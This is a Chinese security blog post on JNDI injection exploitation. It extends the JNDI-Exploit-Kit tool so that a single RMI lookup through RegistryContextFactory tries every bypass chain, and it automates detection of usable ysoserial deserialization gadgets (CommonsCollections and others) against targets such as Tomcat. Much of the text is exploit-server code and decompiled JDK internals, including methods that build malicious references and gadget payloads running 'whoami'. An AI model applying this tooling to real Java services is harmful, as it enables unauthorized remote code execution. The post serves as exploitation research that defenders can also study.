<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    JNDI漏洞利用探索

    VSole2022-01-23 19:33:23

    最近學習了淺藍師傅尋找的一些JNDI漏洞的利用鏈受益匪淺,自己也嘗試關于JNDI漏洞利用做一些挖掘,目前JNDI在利用過程我想到了兩個問題。

    • 測試每一個JNDI Bypass 利用鏈都需要手動更改URL很不方便,能否我去請求一個地址,讓目標將我所有的鏈跑一遍?
    • JNDI利用過程中可以通過反序列化利用,能否自動化探測反序列化利用鏈?

    自動測試Bypass 利用鏈

    為了讓這種方式更加通用,我們首先考慮的是JDK原生的實現ObjectFactory的類,那么我注意到了下面幾個類。

    • com.sun.jndi.rmi.registry.RegistryContextFactory
    • com.sun.jndi.ldap.LdapCtxFactory

    RegistryContextFactory

    調用分析

    通過getURLs從Reference獲取url列表并封裝為數組,URLsToObject中對數組中的URL列表發起RMI請求,所以RegistryContextFactory滿足我們的需求。

    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable ?> var4) throws NamingException {
         //判斷是否為引用對象并且factoryClassname為RegistryContextFactory
            if (!isRegistryRef(var1)) {
                return null;
            } else {
                //從引用對象中獲取URL列表并循環發起調用
                Object var5 = URLsToObject(getURLs((Reference)var1), var4);
                if (var5 instanceof RegistryContext) {
                    RegistryContext var6 = (RegistryContext)var5;
                    var6.reference = (Reference)var1;
                }
                return var5;
            }
        }
    
    • getURLs獲取URL必須滿足RefAddr是StringRefAddr類型且Type屬性為URL才會保存。
    private static String[] getURLs(Reference var0) throws NamingException {
            int var1 = 0;
            String[] var2 = new String[var0.size()];
            Enumeration var3 = var0.getAll();
            //從RefAddr中獲取url并保存到數組中
            while(var3.hasMoreElements()) {
                RefAddr var4 = (RefAddr)var3.nextElement();
                //只有RefAddr是StringRefAddr類型,且Type屬性為URL才會保存
                if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
                    var2[var1++] = (String)var4.getContent();
                }
            }
            if (var1 == 0) {
                throw new ConfigurationException("Reference contains no valid addresses");
            } else if (var1 == var0.size()) {
                return var2;
            } else {
                //返回URL數組
                String[] var5 = new String[var1];
                System.arraycopy(var2, 0, var5, 0, var1);
                return var5;
            }
        }
    
    • URLsToObject中創建rmiURLContextFactory對象并調用getObjectInstancegetObjectInstance中判斷傳入的object類型如果是數組則調用getUsingURLs.
    private static Object URLsToObject(String[] var0, Hashtable ?> var1) throws NamingException {
            rmiURLContextFactory var2 = new rmiURLContextFactory();
            return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
        }
    
    
    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable ?> var4) throws NamingException {
            if (var1 == null) {
                return new rmiURLContext(var4);
            } else if (var1 instanceof String) {
                return getUsingURL((String)var1, var4);
            } else if (var1 instanceof String[]) {
                //數組類型
                return getUsingURLs((String[])((String[])var1), var4);
            } else {
                throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
            }
        }
    
    • getUsingURLs創建rmiURLContext并循環調用lookup發起RMI調用直到獲取一個對象并返回。
    private static Object getUsingURLs(String[] var0, Hashtable ?> var1) throws NamingException {
            if (var0.length == 0) {
                throw new ConfigurationException("rmiURLContextFactory: empty URL array");
            } else {
                rmiURLContext var2 = new rmiURLContext(var1);
                try {
                    NamingException var3 = null;
                    int var4 = 0;
                    while(var4 < var0.length) {
                        try {
                            Object var5 = var2.lookup(var0[var4]);
                            return var5;
                        } catch (NamingException var9) {
                            var3 = var9;
                            ++var4;
                        }
                    }
                    throw var3;
                } finally {
                    var2.close();
                }
            }
        }
    

    利用分析

    通過RegistryContextFactory利用只能使用rmi協議發起請求,所以目前只能用這種方式檢測rmi相關的利用,在welk1n師傅的JNDI- Exploit- Kit工具中集成了一部分關于RMI的利用鏈,其中也包含了TomcatGROOVY的bypass,當然Groovy的執行也依賴Tomcat。工具運行后會生成一些RMI的URL,我們可以將RegistryContextFactory也加到利用鏈中。

    RMIRefServer中包含了RMI處理的邏輯,因此可以把RegistryContextFactory引用也注冊進去。

    /*
         * Fuzz All Bypass
         * Created by 藏青
         */
        public ResourceRef execAll() throws RemoteException, NamingException{
            ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                    true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
            //Mapper.references中保存了隨機生成的rmi名稱和利用方式的關系
            for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
                String mapKey = entry.getKey();
                String mapValue = entry.getValue();
                //如果是RegistryContextFactory則跳過,否則會造成遞歸查詢
                if(!mapValue.equals("BypassTestAll")){
                    ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
                }
                }
            return ref;
        }
    

    RMIRefServer#handleRMI中會根據請求的url找到對應的處理方法生成引用對象并返回,所以我們只要將我們構造的execAll方法也加入到if判斷中即可。

    private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
            int method = ois.readInt(); // method
            ois.readLong(); // hash
            if ( method != 2 ) { // lookup
                return false;
            }
            //獲取rmi請求的對象名稱,這里是隨機生成的額名稱
            String object = (String) ois.readObject();
            System.out.println(getLocalTime() + " [RMISERVER]  >> Is RMI.lookup call for " + object + " " + method);
            String cpstring = this.classpathUrl.toString();
         //根據取出的名稱從Mapper.references中取出利用方式對應的名稱
            String reference = Mapper.references.get(object);
            if (reference == null) {
                System.out.println(getLocalTime() + " [RMISERVER]  >> Reference that matches the name(" + object + ") is not found.");
                //return false;
                cpstring = "BypassByGroovy";
            }
            URL turl = new URL(cpstring + "#" + reference);
            out.writeByte(TransportConstants.Return);// transport op
            try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
                oos.writeByte(TransportConstants.NormalReturn);
                new UID().write(oos);
                //創建ReferenceWrapper包裝類
                ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
            //    根據名稱不同調用不同的方法得到對應的引用對象
                if (reference.startsWith("BypassByEL")){
                    System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByEL.");
                    Reflections.setFieldValue(rw, "wrappee", execByEL());
                } else if (reference.startsWith("BypassByGroovy")){
                    System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassByGroovy.");
                    Reflections.setFieldValue(rw, "wrappee", execByGroovy());
                }
                //將我們的構造的execAll方法加到判斷中
                else if (reference.startsWith("BypassTestAll")){
                    System.out.println(getLocalTime() + " [RMISERVER]  >> Sending local classloading reference for BypassTestAll.");
                    Reflections.setFieldValue(rw, "wrappee", execAll());
                }
                else {
                    System.out.println(
                            String.format(
                                    getLocalTime() + " [RMISERVER]  >> Sending remote classloading stub targeting %s",
                                    new URL(cpstring + reference.concat(".class"))));
                    Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
                }
                Field refF = RemoteObject.class.getDeclaredField("ref");
                refF.setAccessible(true);
                refF.set(rw, new UnicastServerRef(12345));
                oos.writeObject(rw);
                oos.flush();
                out.flush();
            }
            return true;
        }
    

    由于util.Mapper#references中包含了引用關系,所以這里也需要做下更改。

    static {
    ...
       references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
    instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
    }
    

    當然我們也可以把之前分析的一些利用鏈也加進去,但是這并不是我們本片文章的重點,就不分析了。添加并啟動后,可以看到我們我們添加的利用鏈地址。

    在tomcat中請求我們創建的registry會將所有的利用鏈跑一遍,如果利用失敗則會導致異常進入下一個利用鏈,直到跑成功獲取對象并返回。

    我們也可以從server端進行驗證,因為我這里使用的tomcat8所以跑到el表達式后利用成功并返回。

    棧溢出

    忽然想到如果我們在引用中的地址也是RegistryContextFactory那不就會導致遞歸的lookup查詢,是否會產生什么問題。服務端代碼如下:

    Registry registry = LocateRegistry.createRegistry(1099);
            Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
            ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
            ReferenceWrapper wrapper = new ReferenceWrapper(ref);
            registry.bind("Foo", wrapper);
    

    經過測試遞歸查詢會觸發tomcat的棧溢出異常,但是并不會對程序的使用產生影響。

    LdapCtxFactory

    LdapCtxFactoryRegistryContextFactory相對應,具體的過程不分析了,最終是通過LdapCtxFactory#getUsingURL來執行,但是只會獲取到DirContext并沒有調用Lookup方法,所以似乎不能利用。

    private static DirContext getUsingURL(String var0, Hashtable ?> var1) throws NamingException {
            Object var2 = null;
            LdapURL var3 = new LdapURL(var0);
            String var4 = var3.getDN();
            String var5 = var3.getHost();
            int var6 = var3.getPort();
            String var8 = null;
            String[] var7;
            if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
                String var9 = var3.getScheme() + "://";
                String[] var10 = new String[var7.length];
                String var11 = var3.getQuery();
                String var12 = var3.getPath() + (var11 != null ? var11 : "");
                for(int var13 = 0; var13 < var7.length; ++var13) {
                    var10[var13] = var9 + var7[var13] + var12;
                }
                var2 = getUsingURLs(var10, var1);
                ((LdapCtx)var2).setDomainName(var8);
            } else {
                var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
                ((LdapCtx)var2).setProviderUrl(var0);
            }
            //返回DirContext對象
            return (DirContext)var2;
        }
    

    自動測試反序列化利用鏈

    通過對問題一的分析,我們現在只能利用RMI協議來協助我們一次性發起多個RMI調用,目前的大多數工具都是基于Ldap來進行反序列化利用的,不過在RMI中也可以通過反序列化利用。

    首先我們要利用的場景是去通過RMI攻擊客戶端,所以可以利用ysoserial#JRMPListener模塊來利用,它構建了一個JRMP監聽,當客戶端發起請求時會構建一個異常對象BadAttributeValueExpException,并在這個異常對象的val屬性中放入我們要構造好的惡意對象。

    out.writeByte(TransportConstants.Return);// transport op
            ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
            //寫入異常標識
            oos.writeByte(TransportConstants.ExceptionalReturn);
            new UID().write(oos);
            //構建BadAttributeValueExpException異常對象,并在val屬性中加入惡意對象。
            BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
            Reflections.setFieldValue(ex, "val",payload );
            oos.writeObject(ex);
    

    當客戶端發起請求時,會在StreamRemoteCall#executeCall中通過判斷returnType是否為TransportConstants#ExceptionalReturn來決定是否反序列化,也就是只有返回出現異常時才會對異常對象進行反序列化。

    switch (returnType) {
            case TransportConstants.NormalReturn:
                break;
            case TransportConstants.ExceptionalReturn:
                Object ex;
                try {
                    //當返回類型為ExceptionalReturn則進行反序列化
                    ex = in.readObject();
                } catch (Exception e) {
                    throw new UnmarshalException("Error unmarshaling return", e);
                }
                // An exception should have been received,
                // if so throw it, else flag error
                if (ex instanceof Exception) {
                    exceptionReceivedFromServer((Exception) ex);
                } else {
                    throw new UnmarshalException("Return type not Exception");
                }
                // Exception is thrown before fallthrough can occur
            default:
                if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                    Transport.transportLog.log(Log.BRIEF,
                        "return code invalid: " + returnType);
                }
                throw new UnmarshalException("Return code invalid");
            }
    

    但是由于我們構建了一個異常對象,在執行過程中會拋出異常。而我們在分析RegistryContextFactory時說過,只有當返回正常時才會停止,返回異常會繼續請求其他的RMI地址,所以如果這樣利用,只能把所有的反序列化利用鏈Fuzz一遍,我們并不知道哪個利用鏈可用。

    失敗嘗試一

    分析在StreamRemoteCall#executeCall的利用過程我發現,只要設置了TransportConstants#ExceptionalReturn都會進行反序列化,如果我們僅僅設置了這個字段,但是傳入的是只是我們的惡意對象,能否繞過此處的報錯?所以我對JRMPListener做了如下更改。

    但是在反序列化結束后會判斷我們傳入的是否為異常對象,如果不是也會拋異常。

    失敗嘗試二

    繼續分析發現RegistryImpl_Stub#lookup中也會進行反序列化,但是會將反序列化的結果轉成Remote類型,如果我們返回的不是Remote的實現類也會導致異常。

    利用分析

    雖然我們不能直接通過是否繼續請求來判斷利用鏈存在,但是還是可以通過DNSLog的方式進行判斷。我們可以在每次請求后獲取DNSLog的結果,如果有返回值則代表利用鏈可用。

    但是在編寫好代碼測試時驚喜的發現,在利用失敗捕獲異常時只會捕獲NamingException類型的異常。

    如果利用鏈沒找到,會拋出CommunicationException異常,而這個異常是NamingException的子類,因此會被捕獲

    如果利用成功,拋出的是其他類型的異常,則不會被捕獲。

    但是這里還有一個問題,有些利用類存在,但是由于JDK版本或者其他問題導致不能利用,比如CC1,這個時候也會拋出其他異常,但是并不能觸發漏洞,所以在自動化探測的時候要將這些類去除掉。

    大概測了下在CC鏈中CC1,CC3,CC7都不能使用。CC1CC3都是因為JDK版本過高無法使用可以理解,但是在CC7中明明可以執行成功但是還是會返回CommunicationException異常。

    其他的利用鏈也先不測試了,這里只大致說下思路。通過這種實現已經可以達到自動化探測部分利用鏈了。最終我們服務端請求中最后一個請求的gadget就是存在的利用鏈。

    代碼實現主要是在JNDI-Exploit-Kit基礎上做了一點點小改進,主要是在if判斷中繼續加上了execAllGadgat方法。

    execAllGadgat方法中遍歷已經添加的利用鏈并添加到引用對象中。

    public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};  
    public Object execAllGadgat() {
            ResourceRef ref = new ResourceRef("xxxx", null, "", "",
                    true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
            for(String gadget:gadgets){
                ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
            }
            return ref;
        }
    

    由于我們的Payload并沒有在references中添加,因此從Map中會獲取不到,所以我這里加了一個判斷,當object以ser開頭,則表示是通過反序列化利用,給reference賦值。

    最后再加上一個引用判斷,如果以serial開頭則取出調用鏈名稱獲取惡意對象直接寫入。

    public Object execGadgets(String className) throws Exception {
            Class clazz = Class.forName("ysoserial.payloads."+className);
            ObjectPayload payload = (ObjectPayload) clazz.newInstance();
            final Object objBefore = payload.getObject("whoami", "exec_global");
            return objBefore;
        }
    

    總結

    雖然這次的小發現對于JNDI漏洞的利用來說可能有些畫蛇添足,通過這幾天的研究也發現了自己對RMI請求理解上的不足,最后對這種利用方式做一個總結。

    • 由于我們要傳入一個ObjectFactory類名,所以需要一個Reference對象,但是JDK自帶的只有LinkRef,不能傳遞ObjectFactory的類名,所以這里還是使用了tomcat中的ResourceRef,所以還是有些依賴Tomcat。

    • 由于LdapCtxFactory最終沒有調用Lookup方法,因此目前只能通過RMI協議來進行自動化檢測

    • 由于CC1,CC3,CC7無法通過返回的異常類型判斷是否存在,所以不能檢測這幾條鏈。目前我只測了CC鏈,其他類型的利用鏈是否有異常未測試
    stringjndi
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    遺憾的是,國外白帽不同意 Oracle 對這個漏洞的分類“難以利用的漏洞……”因此本文將說明為什么這個 CVE 應該被指定為 10.0 而不是 7.2 的評級,盡管 Oracle 聲稱,此漏洞不需要任何身份驗證即可利用。該軟件的最新版本可在 Oracle 的下載中心輕松獲得,在以普通用戶身份進行身份驗證后即可訪問,獲得安裝文件不需要許可證或銷售電話。
    分析漏洞的本質是為了能讓我們從中學習漏洞挖掘者的思路以及挖掘到新的漏洞,而CodeQL就是一款可以將我們對漏洞的理解快速轉化為可實現的規則并挖掘漏洞的利器。根據網上的傳言Log4j2的RCE漏洞就是作者通過CodeQL挖掘出的。雖然如何挖掘的我們不得而知,但我們現在站在事后的角度再去想想,可以推測一下作者如何通過CodeQL挖掘到漏洞的,并嘗試基于作者的思路挖掘新漏洞。
    最近這log4j熱度很高。好久沒寫文章了,而且目前市面有些文章里面的內容信息已經有些過時缺少最新信息迭代,借此機會我劍指系列基于國內外的關于此漏洞的研究我進行了總結和歸納,并且將我自己目前發現的小眾的技巧方法分享給各位,希望能給各位帶來幫助不會讓各位失望。
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    最近Log4j的漏洞引起了很多師傅對JNDI注入漏洞利用的研究,淺藍師傅的文章探索高版本 JDK 下 JNDI漏洞的利用方法提出了很多關于繞過JNDI高版本限制的方法,本文主要是對文章中的部分方法進行分析并加上一些我個人的思考。 前言
    本文作者Betta,首發于火線Zone安全社區。
    JNDI漏洞利用探索
    2022-01-23 19:33:23
    最近學習了淺藍師傅尋找的一些JNDI漏洞的利用鏈受益匪淺,自己也嘗試關于JNDI漏洞利用做一些挖掘,目前JN
    Apache Log4j2是一款優秀的Java日志框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作為日志記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    一步一步教你漏洞挖掘之如何在半黑盒模式下挖掘RCE漏洞。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类